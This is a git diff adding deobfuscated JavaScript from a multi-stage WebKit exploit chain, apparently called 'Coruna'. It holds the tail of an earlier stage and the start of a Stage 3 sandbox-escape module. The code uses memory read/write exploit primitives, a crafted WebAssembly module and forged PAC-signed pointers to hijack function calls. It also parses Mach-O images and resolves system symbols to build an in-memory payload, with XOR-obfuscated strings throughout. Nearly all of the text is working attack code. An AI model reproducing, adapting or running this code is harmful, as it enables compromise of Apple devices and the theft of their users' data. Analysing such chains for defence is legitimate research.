s.read64(this.zb + 0x10n) + } +} +class ut { + constructor() { + const t = platformModule.platformState.exploitPrimitive, + s = new Intl.Segmenter("en", { + Pa: ([68, 82, 89, 67, 82, 89, 84, 82].map(x => { + return String.fromCharCode(x ^ 55); + }).join("")) + }), + i = []; + for (let t = 0; t < (913662785 ^ 913662573); t++) i.push("a"); + const a = i.join(" "); + s.segment(a); + this.yb = s, this.Fb = s.segment(a), this.Cd = t.allocZeroBuffer(globalThis.moduleManager.getModuleByName(([2, 7, 5, 5, 10, 80, 82, 0, 81, 2, 6, 2, 10, 81, 82, 1, 82, 11, 85, 7, 3, 81, 86, 1, 11, 4, 85, 5, 7, 5, 87, 7, 87, 4, 6, 10, 0, 86, 81, 3].map(x => { + return String.fromCharCode(x ^ 51); + }).join(""))).platformState.versionFlags.NfRtuR) + } + call(t, s) { + const i = platformModule.platformState.exploitPrimitive, + a = this.Fb[Symbol.iterator](), + h = (() => { + const t = i.getObjectAddress(a); + return i.read64(t + j(globalThis.moduleManager.getModuleByName(([124, 121, 123, 123, 116, 46, 44, 126, 47, 124, 120, 124, 116, 47, 44, 127, 44, 117, 43, 121, 125, 47, 40, 127, 117, 122, 43, 123, 121, 123, 41, 121, 41, 122, 120, 116, 126, 40, 47, 125].map(x => { + return String.fromCharCode(x ^ 77); + }).join(""))).platformState.versionFlags.jtUNKB)) + })(), + e = h + j(globalThis.moduleManager.getModuleByName(([123, 126, 124, 124, 115, 41, 43, 121, 40, 123, 127, 123, 115, 40, 43, 120, 43, 114, 44, 126, 122, 40, 47, 120, 114, 125, 44, 124, 126, 124, 46, 126, 46, 125, 127, 115, 121, 47, 40, 122].map(x => { + return String.fromCharCode(x ^ 74); + }).join(""))).platformState.versionFlags.MJf4mX), + l = i.read64(h + j(globalThis.moduleManager.getModuleByName(([94, 91, 89, 89, 86, 12, 14, 92, 13, 94, 90, 94, 86, 13, 14, 93, 14, 87, 9, 91, 95, 13, 10, 93, 87, 88, 9, 89, 91, 89, 11, 91, 11, 88, 90, 86, 92, 10, 13, 95].map(x => { + return String.fromCharCode(x ^ 111); + }).join(""))).platformState.versionFlags.zPL1kr)), + n = i.read64(h + j(globalThis.moduleManager.getModuleByName(([125, 120, 122, 122, 117, 47, 45, 127, 46, 125, 121, 125, 117, 46, 45, 126, 45, 116, 42, 120, 124, 46, 41, 126, 116, 123, 42, 122, 120, 122, 40, 120, 40, 123, 121, 117, 127, 41, 46, 124].map(x => { + return String.fromCharCode(x ^ 76); + }).join(""))).platformState.versionFlags.ga3074)), + r = i.read64(h + j(globalThis.moduleManager.getModuleByName(([93, 88, 90, 90, 85, 15, 13, 95, 14, 93, 89, 93, 85, 14, 13, 94, 13, 84, 10, 88, 92, 14, 9, 94, 84, 91, 10, 90, 88, 90, 8, 88, 8, 91, 89, 85, 95, 9, 14, 92].map(x => { + return String.fromCharCode(x ^ 108); + }).join(""))).platformState.versionFlags.yjShKn)), + b = i.read64(e + j(globalThis.moduleManager.getModuleByName(([69, 64, 66, 66, 77, 23, 21, 71, 22, 69, 65, 69, 77, 22, 21, 70, 21, 76, 18, 64, 68, 22, 17, 70, 76, 67, 18, 66, 64, 66, 16, 64, 16, 67, 65, 77, 71, 17, 22, 68].map(x => { + return String.fromCharCode(x ^ 116); + }).join(""))).platformState.versionFlags.OaAnPR)), + c = i.read64(l + j(globalThis.moduleManager.getModuleByName(([97, 100, 102, 102, 105, 51, 49, 99, 50, 97, 101, 97, 105, 50, 49, 98, 49, 104, 54, 100, 96, 50, 53, 98, 104, 103, 54, 102, 100, 102, 52, 100, 52, 103, 101, 105, 99, 53, 50, 96].map(x => { + return String.fromCharCode(x ^ 80); + }).join(""))).platformState.versionFlags.PCsIV0)), + o = i.read64(h + j(globalThis.moduleManager.getModuleByName(([123, 126, 124, 124, 115, 41, 43, 121, 40, 123, 127, 123, 115, 40, 43, 120, 43, 114, 44, 126, 122, 40, 47, 120, 114, 125, 44, 124, 126, 124, 46, 126, 46, 125, 127, 115, 121, 47, 40, 122].map(x => { + return String.fromCharCode(x ^ 74); + }).join(""))).platformState.versionFlags.oHmyQl)); + { + const t = i.read32(c + j(globalThis.moduleManager.getModuleByName(([28, 25, 27, 27, 20, 78, 76, 30, 79, 28, 24, 28, 20, 79, 76, 31, 76, 21, 75, 25, 29, 79, 72, 31, 21, 26, 75, 27, 25, 27, 73, 25, 73, 26, 24, 20, 30, 72, 79, 29].map(x => { + return String.fromCharCode(x ^ 45); + }).join(""))).platformState.versionFlags.vnu2oq)), + s = i.read32(c + j(globalThis.moduleManager.getModuleByName(([72, 77, 79, 79, 64, 26, 24, 74, 27, 72, 76, 72, 64, 27, 24, 75, 24, 65, 31, 77, 73, 27, 28, 75, 65, 78, 31, 79, 77, 79, 29, 77, 29, 78, 76, 64, 74, 28, 27, 73].map(x => { + return String.fromCharCode(x ^ 121); + }).join(""))).platformState.versionFlags.attyap)), + a = 2 * (globalThis.moduleManager.getModuleByName(([2, 7, 5, 5, 10, 80, 82, 0, 81, 2, 6, 2, 10, 81, 82, 1, 82, 11, 85, 7, 3, 81, 86, 1, 11, 4, 85, 5, 7, 5, 87, 7, 87, 4, 6, 10, 0, 86, 81, 3].map(x => { + return String.fromCharCode(x ^ 51); + }).join(""))).platformState.versionFlags.DjRSp0 + i.read32(c + j(s))), + o = globalThis.moduleManager.getModuleByName(([100, 97, 99, 99, 108, 54, 52, 102, 55, 100, 96, 100, 108, 55, 52, 103, 52, 109, 51, 97, 101, 55, 48, 103, 109, 98, 51, 99, 97, 99, 49, 97, 49, 98, 96, 108, 102, 48, 55, 101].map(x => { + return String.fromCharCode(x ^ 85); + }).join(""))).platformState.versionFlags.LVt9Wy + a * t; + if (o % 4 != 0) throw new Error("o % 4 != 0"); + const [f, d] = i.allocZeroBufferPair(a); + for (let t = 0; t < o; t += 4) i.write32(d + j(t), i.read32(c + j(t))); + const _ = 2, + u = 4; + i.write32(d + j(globalThis.moduleManager.getModuleByName(([7, 2, 0, 0, 15, 85, 87, 5, 84, 7, 3, 7, 15, 84, 87, 4, 87, 14, 80, 2, 6, 84, 83, 4, 14, 1, 80, 0, 2, 0, 82, 2, 82, 1, 3, 15, 5, 83, 84, 6].map(x => { + return String.fromCharCode(x ^ 54); + }).join(""))).platformState.versionFlags.pUvASJ), u | _); + for (let a = 0; a < t; a++) { + const t = d + j(globalThis.moduleManager.getModuleByName(([110, 107, 105, 105, 102, 60, 62, 108, 61, 110, 106, 110, 102, 61, 62, 109, 62, 103, 57, 107, 111, 61, 58, 109, 103, 104, 57, 105, 107, 105, 59, 107, 59, 104, 106, 102, 108, 58, 61, 111].map(x => { + return String.fromCharCode(x ^ 95); + }).join(""))).platformState.versionFlags.sMuYjH + s * a); + i.write32(t, 2); + for (let a = 0; a < s; a++) i.patchByte(t + j(globalThis.moduleManager.getModuleByName(([107, 110, 108, 108, 99, 57, 59, 105, 56, 107, 111, 107, 99, 56, 59, 104, 59, 98, 60, 110, 106, 56, 63, 104, 98, 109, 60, 108, 110, 108, 62, 110, 62, 109, 111, 99, 105, 63, 56, 106].map(x => { + return String.fromCharCode(x ^ 90); + }).join(""))).platformState.versionFlags.KSrWFg + a), 0) + } + const [x, p] = i.allocZeroBufferPair((1098340918 ^ 1098341110)); + i.write32(d + j(globalThis.moduleManager.getModuleByName(([116, 113, 115, 115, 124, 38, 36, 118, 39, 116, 112, 116, 124, 39, 36, 119, 36, 125, 35, 113, 117, 39, 32, 119, 125, 114, 35, 115, 113, 115, 33, 113, 33, 114, 112, 124, 118, 32, 39, 117].map(x => { + return String.fromCharCode(x ^ 69); + }).join(""))).platformState.versionFlags.FGsnBi), 48); + { + const t = r + j(globalThis.moduleManager.getModuleByName(([100, 97, 99, 99, 108, 54, 52, 102, 55, 100, 96, 100, 108, 55, 52, 103, 52, 109, 51, 97, 101, 55, 48, 103, 109, 98, 51, 99, 97, 99, 49, 97, 49, 98, 96, 108, 102, 48, 55, 101].map(x => { + return String.fromCharCode(x ^ 85); + }).join(""))).platformState.versionFlags.msD22k); + for (let s = 0; s < (1467046255 ^ 1467046383); s++) i.write32(t + j(4 * s), (1114061160 ^ 1114061256)) + } + i.write64(l + j(globalThis.moduleManager.getModuleByName(([65, 68, 70, 70, 73, 19, 17, 67, 18, 65, 69, 65, 73, 18, 17, 66, 17, 72, 22, 68, 64, 18, 21, 66, 72, 71, 22, 70, 68, 70, 20, 68, 20, 71, 69, 73, 67, 21, 18, 64].map(x => { + return String.fromCharCode(x ^ 112); + }).join(""))).platformState.versionFlags.PCsIV0), d), i.write64(h + j(globalThis.moduleManager.getModuleByName(([124, 121, 123, 123, 116, 46, 44, 126, 47, 124, 120, 124, 116, 47, 44, 127, 44, 117, 43, 121, 125, 47, 40, 127, 117, 122, 43, 123, 121, 123, 41, 121, 41, 122, 120, 116, 126, 40, 47, 125].map(x => { + return String.fromCharCode(x ^ 77); + }).join(""))).platformState.versionFlags.oHmyQl), p), i.write32(n + j(globalThis.moduleManager.getModuleByName(([110, 107, 105, 105, 102, 60, 62, 108, 61, 110, 106, 110, 102, 61, 62, 109, 62, 103, 57, 107, 111, 61, 58, 109, 103, 104, 57, 105, 107, 105, 59, 107, 59, 104, 106, 102, 108, 58, 61, 111].map(x => { + return String.fromCharCode(x ^ 95); + }).join(""))).platformState.versionFlags.LM9blg), (4294967296 + (1902732360 ^ -1902732361))), i.write32(e + j(globalThis.moduleManager.getModuleByName(([85, 80, 82, 82, 93, 7, 5, 87, 6, 85, 81, 85, 93, 6, 5, 86, 5, 92, 2, 80, 84, 6, 1, 86, 92, 83, 2, 82, 80, 82, 0, 80, 0, 83, 81, 93, 87, 1, 6, 84].map(x => { + return String.fromCharCode(x ^ 100); + }).join(""))).platformState.versionFlags.TLJcwX), (1483502169 ^ 1483502329)); + for (let t = 0; t < globalThis.moduleManager.getModuleByName(([86, 83, 81, 81, 94, 4, 6, 84, 5, 86, 82, 86, 94, 5, 6, 85, 6, 95, 1, 83, 87, 5, 2, 85, 95, 80, 1, 81, 83, 81, 3, 83, 3, 80, 82, 94, 84, 2, 5, 87].map(x => { + return String.fromCharCode(x ^ 103); + }).join(""))).platformState.versionFlags.NfRtuR; t += 4) i.write32(this.Cd + j(t), i.read32(b) + t) + } + i.write64(e + j(globalThis.moduleManager.getModuleByName(([126, 123, 121, 121, 118, 44, 46, 124, 45, 126, 122, 126, 118, 45, 46, 125, 46, 119, 41, 123, 127, 45, 42, 125, 119, 120, 41, 121, 123, 121, 43, 123, 43, 120, 122, 118, 124, 42, 45, 127].map(x => { + return String.fromCharCode(x ^ 79); + }).join(""))).platformState.versionFlags.OaAnPR), this.Cd); + try { + i.write64(this.Cd + j(globalThis.moduleManager.getModuleByName(([0, 5, 7, 7, 8, 82, 80, 2, 83, 0, 4, 0, 8, 83, 80, 3, 80, 9, 87, 5, 1, 83, 84, 3, 9, 6, 87, 7, 5, 7, 85, 5, 85, 6, 4, 8, 2, 84, 83, 1].map(x => { + return String.fromCharCode(x ^ 49); + }).join(""))).platformState.versionFlags.qRQJn0), t), i.write64(e + j(globalThis.moduleManager.getModuleByName(([67, 70, 68, 68, 75, 17, 19, 65, 16, 67, 71, 67, 75, 16, 19, 64, 19, 74, 20, 70, 66, 16, 23, 64, 74, 69, 20, 68, 70, 68, 22, 70, 22, 69, 71, 75, 65, 23, 16, 66].map(x => { + return String.fromCharCode(x ^ 114); + }).join(""))).platformState.versionFlags.SAobkS), s), a.next().value + } finally { + i.write64(e + j(globalThis.moduleManager.getModuleByName(([107, 110, 108, 108, 99, 57, 59, 105, 56, 107, 111, 107, 99, 56, 59, 104, 59, 98, 60, 110, 106, 56, 63, 104, 98, 109, 60, 108, 110, 108, 62, 110, 62, 109, 111, 99, 105, 63, 56, 106].map(x => { + return String.fromCharCode(x ^ 90); + }).join(""))).platformState.versionFlags.OaAnPR), b), i.write64(h + j(globalThis.moduleManager.getModuleByName(([122, 127, 125, 125, 114, 40, 42, 120, 41, 122, 126, 122, 114, 41, 42, 121, 42, 115, 45, 127, 123, 41, 46, 121, 115, 124, 45, 125, 127, 125, 47, 127, 47, 124, 126, 114, 120, 46, 41, 123].map(x => { + return String.fromCharCode(x ^ 75); + }).join(""))).platformState.versionFlags.oHmyQl), o) + } + } +} +class wt { + constructor() { + const t = platformModule.platformState.Dn, + s = platformModule.platformState.exploitPrimitive, + i = platformModule.platformState.jn, + a = new Uint8Array([0, 97, (2017548118 ^ 2017548069), (1347507275 ^ 1347507238), 1, 0, 0, 0, 1, 52, 3, 96, 8, (1182361671 ^ 1182361657), (1986819700 ^ 1986819594), (1313691702 ^ 1313691720), (1951160418 ^ 1951160348), (1697469543 ^ 1697469465), (946946913 ^ 946946847), (1700351606 ^ 1700351496), (1180333141 ^ 1180333099), 1, (1920366421 ^ 1920366379), 96, 16, (1664374594 ^ 1664374589), (1801407087 ^ 1801406992), (1333347436 ^ 1333347347), (2033727033 ^ 2033727046), (1869305928 ^ 1869305911), (959670902 ^ 959670793), (1984318808 ^ 1984318759), (1195463539 ^ 1195463436), (892421970 ^ 892421933), (762533242 ^ 762533125), (860640344 ^ 860640295), (1178875254 ^ 1178875145), (880173944 ^ 880173831), (960712538 ^ 960712485), (1733119812 ^ 1733119803), (1917793361 ^ 1917793326), 1, (1447261299 ^ 1447261197), 96, 16, (1516384351 ^ 1516384288), (1147826024 ^ 1147825943), (892887880 ^ 892887863), (1934652008 ^ 1934651927), (944131629 ^ 944131666), (1766999925 ^ 1766999818), (1433495401 ^ 1433495318), (1732535374 ^ 1732535345), (1601324405 ^ 1601324298), (1716415352 ^ 1716415239), (1464486517 ^ 1464486410), (926438724 ^ 926438715), (1215842626 ^ 1215842621), (2037994864 ^ 2037994767), (1970750284 ^ 1970750259), (1113019494 ^ 1113019417), 0, 3, 5, 4, 0, 1, 1, 2, 4, 4, 1, (1463969100 ^ 1463969084), 0, 2, 5, 4, 1, 1, 1, 1, 7, 17, 4, 1, (1766609742 ^ 1766609722), 1, 0, 1, (1781753466 ^ 1781753367), 2, 0, 1, (1146306872 ^ 1146306903), 0, 0, 1, (1414615110 ^ 1414615072), 0, 3, 9, 7, 1, 0, 65, 0, 11, 1, 0, 10, (1465150810 ^ 1465150872), 1, 4, 4, 0, 66, 0, 11, 88, 0, 32, 1, (1916879967 ^ 1916880114), 66, 32, (1900561752 ^ 1900561886), 32, 0, (1903248463 ^ 1903248610), (762654017 ^ 762654149), 32, 3, (2018405226 ^ 2018405319), 66, 32, (1733190499 ^ 1733190629), 32, 2, (1917343306 ^ 1917343463), (1265059141 ^ 1265059265), 32, 5, (1397637483 ^ 1397637574), 66, 32, (1177907265 ^ 1177907399), 32, 4, (1866558327 ^ 1866558426), (1916875874 ^ 1916876006), 32, 7, (1869311854 ^ 1869311939), 66, 32, (1867797555 ^ 1867797685), 32, 6, (842229608 ^ 842229701), (913986411 ^ 913986543), 32, 9, (1415066725 ^ 1415066824), 66, 32, (1095200067 ^ 1095200197), 32, 8, (829184353 ^ 829184460), (1247106919 ^ 1247107043), 32, 11, (2004053875 ^ 2004053982), 66, 32, (1499030852 ^ 1499030978), 32, 10, (845373300 ^ 845373401), (1702001004 ^ 1702001128), 32, 13, (1919246149 ^ 1919246312), 66, 32, (1450666836 ^ 1450666962), 32, 12, (1667721538 ^ 1667721711), (963523156 ^ 963523280), 32, 15, (1698788204 ^ 1698788289), 66, 32, (1665431929 ^ 1665432063), 32, 14, (1282232415 ^ 1282232562), (1850632019 ^ 1850632151), 65, 0, 17, 0, 0, 15, 11, 37, 0, 32, 0, 32, 1, 32, 2, 32, 3, 32, 4, 32, 5, 32, 6, 32, 7, 32, 8, 32, 9, 32, 10, 32, 11, 32, 12, 32, 13, 32, 14, 32, 15, 16, 1, 15, 11, 60, 1, 1, (897151348 ^ 897151242), 32, 0, 32, 1, 32, 2, 32, 3, 32, 4, 32, 5, 32, 6, 32, 7, 32, 8, 32, 9, 32, 10, 32, 11, 32, 12, 32, 13, 32, 14, 32, 15, 16, 2, 33, 16, 65, 0, 32, 16, (1933141315 ^ 1933141476), 54, 2, 0, 65, 4, 32, 16, 66, 32, (1096307267 ^ 1096307403), (863325249 ^ 863325414), 54, 2, 0, 15, 11]), + h = new WebAssembly.Module(a, {}), + e = new WebAssembly.Instance(h, {}); + this.Eb = e.exports.f, this.Wb = e.exports.o, this.vb = new Uint32Array(e.exports.m.buffer), this.Db = s.getObjectAddress(this.Wb), this.Dn = { + xa: t.nl.xa + }, this.hb = { + Gb: i.pacda(this.Dn.xa, 0x0n) + }, this.Kb = new BigUint64Array(8), this.Rb = new Int32Array(this.Kb.buffer), this.Vb = new DataView(this.Kb.buffer) + } + call(t, s) { + platformModule.platformState.Dn; + const i = platformModule.platformState.exploitPrimitive, + a = (platformModule.platformState.jn, platformModule.platformState.Wn); + if (!(s.length <= 8)) throw new Error(([30, 40, 58, 36, 3, 32, 61, 10, 40, 46, 44, 10, 40, 37, 37, 25, 59, 32, 36, 32, 61, 32, 63, 44, 105, 38, 39, 37, 48, 105, 58, 60, 57, 57, 38, 59, 61, 58, 105, 113, 105, 59, 44, 46, 32, 58, 61, 44, 59, 105, 40, 59, 46, 58, 101, 105, 46, 38, 61, 105].map(x => { + return String.fromCharCode(x ^ 73) + }).join("")) + (s.length)); + for (const t in s) this.Kb[t] = j(s[t]); + const h = i.read64(this.Db + j(globalThis.moduleManager.getModuleByName(([70, 67, 65, 65, 78, 20, 22, 68, 21, 70, 66, 70, 78, 21, 22, 69, 22, 79, 17, 67, 71, 21, 18, 69, 79, 64, 17, 65, 67, 65, 19, 67, 19, 64, 66, 78, 68, 18, 21, 71].map(x => { + return String.fromCharCode(x ^ 119); + }).join(""))).platformState.versionFlags.rvXShf)), + e = i.read64(h), + l = j((1835549285 ^ 1835558600)); + a.call({ + ab: this.hb.Gb, + sb: S(e), + x1: l + }); + const n = a.call({ + ab: this.hb.Gb, + sb: S(t), + x1: l + }); + try { + return i.write64(h, n), this.Eb(...this.Rb), this.Rb[0] = this.vb[0], this.Rb[1] = this.vb[1], this.Kb[0] + } finally { + i.write64(h, e) + } + } +} +class yt { + constructor() { + const t = platformModule.platformState.Dn, + s = platformModule.platformState.jn; + this.hb = { + Xb: s.pacda(t.nl.pa, 0x0n) + } + } + qb(t) { + return platformModule.platformState.Wn.call({ + ab: this.hb.Xb, + sb: j(t) + }) + } +} +class mt { + constructor() { + const t = platformModule.platformState.Dn, + s = platformModule.platformState.jn; + this.hb = { + Jb: s.pacda(t.nl.Ta, 0x0n), + Nb: s.pacda(t.nl.Ea, 0x0n), + $b: s.pacda(t.nl.Ca, 0x0n), + Lb: s.pacda(t.nl.ka, 0x0n) + } + } + Ob(t) { + return platformModule.platformState.Wn.call({ + ab: this.hb.Jb, + sb: j(t) + }) + } + Qb(t) { + return platformModule.platformState.Wn.call({ + ab: this.hb.Nb, + sb: t + }) + } + Yb(t, s, i) { + return platformModule.platformState.Wn.call({ + ab: this.hb.Lb, + sb: t, + x1: s, + x2: i + }) + } + Zb(t, s, i) { + return platformModule.platformState.Wn.call({ + ab: this.hb.$b, + sb: t, + x1: s, + x2: i + }) + } +} +return r; \ No newline at end of file diff --git a/Stage3_VariantB.js b/Stage3_VariantB.js new file mode 100644 index 0000000..155f1ea --- /dev/null +++ b/Stage3_VariantB.js @@ -0,0 +1,1559 @@ +/** + * Stage 3: Sandbox Escape (Deobfuscated) + * Original hash: 9af53c1bb40f0328841df6149f1ef94f5336ae11 + * + * This module implements the sandbox escape and post-exploitation setup for the + * Coruna exploit chain. It builds a Mach-O payload in memory, resolves symbols, + * and uses PAC-signed function pointers to escape the WebKit sandbox. + * + * Structure (3 nested modules unwrapped from base64): + * Inner module (lines ~1-484): Mach-O parser + ImageList + export trie (shared with Stage 2) + * Middle module (lines ~485-788): JIT cage bypass, PAC-aware function caller, caller setup + * Outer module (lines ~789-end): Offset64 class, Mach-O payload builder, sandbox escape entry + * + * Key capabilities: + * - Mach-O load command parser (Y/parseMachOHeaders), image resolver + * - Export trie parser for dyld symbol resolution + * - JIT cage pointer bypass via WASM module indirect call table + * - PAC-aware arbitrary function caller (F.caller.jd) + * - Offset64 (MA) class for 64-bit offset arithmetic without BigInt + * - MachOPayloadBuilder (oA) — builds Mach-O binary in memory with: + * headers, segments (__PAGEZERO, __TEXT, __DATA, __LINKEDIT), + * sections (__text, __stubs, __const, __data, __common), + * symbol table, string table, dysymtab, code signature + * - executeSandboxEscape (yA) — resolves system APIs and triggers escape + * + * Module dependencies: + * - 57620206d62079baad0e57e6d9ec93120c0f5247 (utility_module.js) + * - 14669ca3b1519ba2a8f40be287f646d4d7593eb0 (platform_module.js) + */ + +// ════════════════════════════════════════════════════════════════════════════ +// Inner module: Mach-O parser + Image list (shared code with Stage 2) +// ════════════════════════════════════════════════════════════════════════════ +globalThis.moduleManager.evalCode("ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8", function () { + let r = {}; + const utilityModule = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"), + { + N: G + } = utilityModule, + platformModule = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0"), + { + zn: F + } = platformModule, + Z = F.Ln; + + // ── Mach-O load command parser ─────────────────────────────────────────── + function Y(t, r = !1) {/* Original: Y → parseMachOHeaders */ + const e = platformModule.platformState.exploitPrimitive, + n = e.read32FromInt64(t.H(16)); + let s = t.H(32), + i = new utilityModule.Int64(0, 0), + o = !0, + h = !1, + c = null, + l = null, + f = null, + a = 0, + u = null, + d = null, + w = null, + g = null, + m = !1; + const E = []; + for (let f = 0; f < n; f++) { + const n = e.read32FromInt64(s), + f = e.read32FromInt64(s.H(4)); + switch (n) { + case 15: // LC_MAIN + m = !0; + break; + case 50: // LC_BUILD_VERSION + r && 1 === e.read32FromInt64(s.H(8)) && (w = !0, g = e.read32FromInt64(s.H(12))); + break; + case 25: {// LC_SEGMENT_64 + const n = { + Xe: e.readStringFromInt64(s.H(8), 16), + qe: e.readInt64FromInt64(s.H(24)), + Eo: e.readInt64FromInt64(s.H(24)), + Oo: e.readInt64FromInt64(s.H(32)), + Qe: e.readInt64FromInt64(s.H(40)), + zo: e.readInt64FromInt64(s.H(48)), + $o: e.read32FromInt64(s.H(56)), + qo: e.read32FromInt64(s.H(60)), + Mo: e.read32FromInt64(s.H(64)), + flags: e.read32FromInt64(s.H(68)), + Do: s.H(72), + Lo: {}, + dump() { } + }; + if (r) + for (let t = 0; t < n.Mo; t += 1) { + const r = n.Do.H(80 * t), + s = { + Xe: e.readStringFromInt64(r.H(16), 16), + Vo: e.readStringFromInt64(r.H(0), 16), + qe: e.readInt64FromInt64(r.H(32)), + Oo: e.readInt64FromInt64(r.H(40)), + Qe: e.read32FromInt64(r.H(48)), + dump() { } + }; + n.Lo[s.Vo] = s; + } + switch (E.push(n), n.Xe) { + case "__TEXT": + n.Qe.Et() ? o = !1 : l = t.sub(n.Qe), i = t.sub(n.qe); + break; + case "__LINKEDIT": + u = n.qe.add(i).sub(n.Qe); + break; + case "__AUTH_CONST": + if (r) { + const t = n.Lo.__auth_got; + void 0 !== t && (d = t.qe.add(i)); + } + } + break; + } + case 0x80000022 /* 4294967296 + (929916783 ^ -1217566899) */: + h = !0, c = e.read32FromInt64(s.H(40)), a = e.read32FromInt64(s.H(44)); + break; + case 0x80000033 /* 4294967296 + (1867658329 ^ -279825302) */: + h = !0, c = e.read32FromInt64(s.H(8)), a = e.read32FromInt64(s.H(12)); + } + s = s.H(f); + } + let _ = i; + if (r && !o && !m) { + const r = e.read32FromInt64(t.H(4)); + if (w && 0x0100000c /* 1932683608 ^ 1915906388 */ === r && g >= 0xb0000 /* 1466849650 ^ 1466259826 */) { + if (null === d) throw new Error("null === d"); + let t = e.readInt64FromInt64(d).Dt(); + if (t.Et()) throw new Error("t.Et()"); + for (t = t.Bt(t.it % 0x1000 /* 1699169646 ^ 1699173742 */); + 0xfeedfacf /* 4294967296 + (1314404404 ^ -1330265349) */ !== e.read32FromInt64(t);) t = t.Bt(0x1000 /* 1714972491 ^ 1714976587 */); + const r = this.Xo(t); + l = r.Ho.Zo, _ = r.Ho.Ko; + } + } + for (let t = 0; t < E.length; t++) { + const r = E[t], + e = r.qe; + r.qe = e.add(i); + } + return h && c && (f = u.H(c)), new MachOImage({ + Go: t, + Jo: n, + Qo: i, + Yo: u, + Zo: l, + Ko: _, + th: f, + rh: a + }, E); + } + // ── Module helper exports ──────────────────────────────────────────────── + r.ur = function () { + return Y(platformModule.platformState.yn, !0); + }, r.Xo = Y; + // ── MachOImage class ───────────────────────────────────────────────────── + class MachOImage {/* Original: tt → MachOImage */ + constructor(t, r) { + this.Ho = t, this.eh = r, this.nh = new Uint8Array([]), this.sh = !1; + } + sr() { + return new rt(this); + } + ar() { + return new et(this); + } + ih(t) { + const r = this.oh("_" + t); + return r ? this.Ho.Go.H(r) : new utilityModule.Int64(0, 0); + } + oh(t) { + if (!1 === this.sh) { + this.sh = !0; + const t = new Uint32Array(this.Ho.rh + 3 >> 2); + for (let r = 0; r < t.length; r++) t[r] = platformModule.platformState.exploitPrimitive.read32FromInt64(this.Ho.th.H(4 * r)); + this.nh = new Uint8Array(t.buffer); + } + const r = this.nh; + let e = "", + n = 0, + s = !1; + for (; !s;) { + s = !0; + let i = 0, + o = 0; + do { + i += (127 /* 2004504407 ^ 2004504360 */ & r[n]) << o, o += 7; + } while (128 /* 1598192238 ^ 1598192366 */ & r[n++]); + if (e === t && 0 !== i) { + n++; + let t = 0; + o = 0; + do { + t += (127 /* 2018992691 ^ 2018992716 */ & r[n]) << o, o += 7; + } while (128 /* 1783716180 ^ 1783716308 */ & r[n++]); + return t; + } + n += i; + const h = r[n++]; + for (let i = 0; i < h; i++) { + let i = ""; + for (; 0 !== r[n];) i += String.fromCharCode(r[n++]); + n++; + let h = 0; + o = 0; + do { + h += (127 /* 2053530479 ^ 2053530384 */ & r[n]) << o, o += 7; + } while (128 /* 1936946514 ^ 1936946642 */ & r[n++]); + if (i.length && e + i === t.substr(0, e.length + i.length)) { + e += i, n = h, s = !1; + break; + } + } + } + return 0; + } + } + const tt = MachOImage; + // ── ExportTrieParser ───────────────────────────────────────────────────── + class rt {/* Original: rt → ExportTrieParser */ + constructor(t) { + this.hh = t, this.lh = this.hh.Ho.Go; + } + ih(t) { + const r = this.hh.oh("_" + t); + return r ? this.hh.Ho.Go.H(r) : new utilityModule.Int64(0, 0); + } + dlsym(t) { + const r = this.hh.oh("_" + t); + if (!r) throw new Error("Stage3 rt.dlsym(" + t + "): symbol not found"); + return r ? this.hh.Ho.Go.H(r) : new utilityModule.Int64(0, 0); + } + ah(t) { + return 0 !== this.hh.oh("_" + t); + } + uh(...t) { + for (const r of t) try { + return this.dlsym(r); + } catch (t) { + continue; + } + throw new Error("rt.uh(...t) failed"); + } + } + // ── MachOImageView (section/segment accessor) ──────────────────────────── + class et {/* Original: et → MachOImageView */ + constructor(t) { + this.hh = t, this.dh = null, this.wh = this.hh.Ho.Go.yt(); + } + ih(t) { + const r = this.hh.oh("_" + t); + return r ? this.wh + r : 0; + } + uh(...t) { + for (const r of t) try { + return this.dlsym(r); + } catch (t) { + continue; + } + throw new Error("et.uh(...t) failed"); + } + ah(t) { + return 0 !== this.hh.oh("_" + t); + } + dlsym(t) { + const r = this.hh.oh("_" + t); + if (!r) throw new Error("Stage3 et.dlsym(" + t + "): symbol not found"); + return this.wh + r; + } + gh(t) { + return { + Xe: t.Xe, + qe: t.qe.yt(), + Eo: t.Eo.yt(), + Oo: t.Oo.yt(), + Qe: t.Qe.yt(), + zo: t.zo.yt(), + $o: t.$o, + qo: t.qo, + Mo: t.Mo, + flags: t.flags, + Do: t.Do.yt(), + Lo: t.Lo + }; + } + mh(t) { + return { + Xe: t.Xe, + Vo: t.Vo, + qe: t.qe.yt(), + Oo: t.Oo.yt(), + Qe: t.Qe.yt() + }; + } + Eh(t) { + for (let r = 0; r < this.hh.eh.length; r++) + if (this.hh.eh[r].Xe === t) return this.gh(this.hh.eh[r]); + return null; + } + _h(t, r) { + const e = this.Eh(t); + if (null !== e) { + if (0 !== Object.keys(e.Lo).length) { + const t = e.Lo[r]; + return void 0 !== t ? this.mh(t) : null; + } { + let n = null; + for (let s = 0; s < e.Mo; s++) { + const i = e.Do + 80 * s, + o = t, + h = platformModule.platformState.exploitPrimitive.readString(i, 16), + c = { + Xe: o, + Vo: h, + qe: platformModule.platformState.exploitPrimitive.readInt64FromOffset(i + 32).add(this.hh.Ho.Qo), + Oo: platformModule.platformState.exploitPrimitive.readInt64FromOffset(i + 40), + Qe: platformModule.platformState.exploitPrimitive.readInt64FromOffset(i + 48) + }; + r === h && (n = c), e.Lo[h] = c; + } + return n ? this.mh(n) : null; + } + } + return null; + } + bh(t, r) { + const e = this.Eh(t); + if (null !== e) + for (let n = 0; n < e.Mo; n++) { + const s = e.Do + 80 * n, + i = t, + o = platformModule.platformState.exploitPrimitive.readString(s, 16); + if (r === o) { + const t = { + Xe: i, + Vo: o, + qe: platformModule.platformState.exploitPrimitive.readInt64FromOffset(s + 32).add(this.hh.Ho.Qo), + Oo: platformModule.platformState.exploitPrimitive.readInt64FromOffset(s + 40), + Qe: platformModule.platformState.exploitPrimitive.readInt64FromOffset(s + 48) + }; + return this.mh(t); + } + } + return null; + } + ph(t) { + const r = this.Eh(t); + if (!r) throw new Error("Stage3 et.ph(" + t + "): segment not found"); + return r; + } + Sh() { + return null === this.dh && (this.dh = new nt(this.hh.Ho.Ko.yt(), this.hh.Ho.Zo.yt())), this.dh; + } + xh(t) { + const r = this.ih(t); + return 0 !== r ? platformModule.platformState.exploitPrimitive.readInt64FromOffset(r) : new utilityModule.Int64(0, 0); + } + 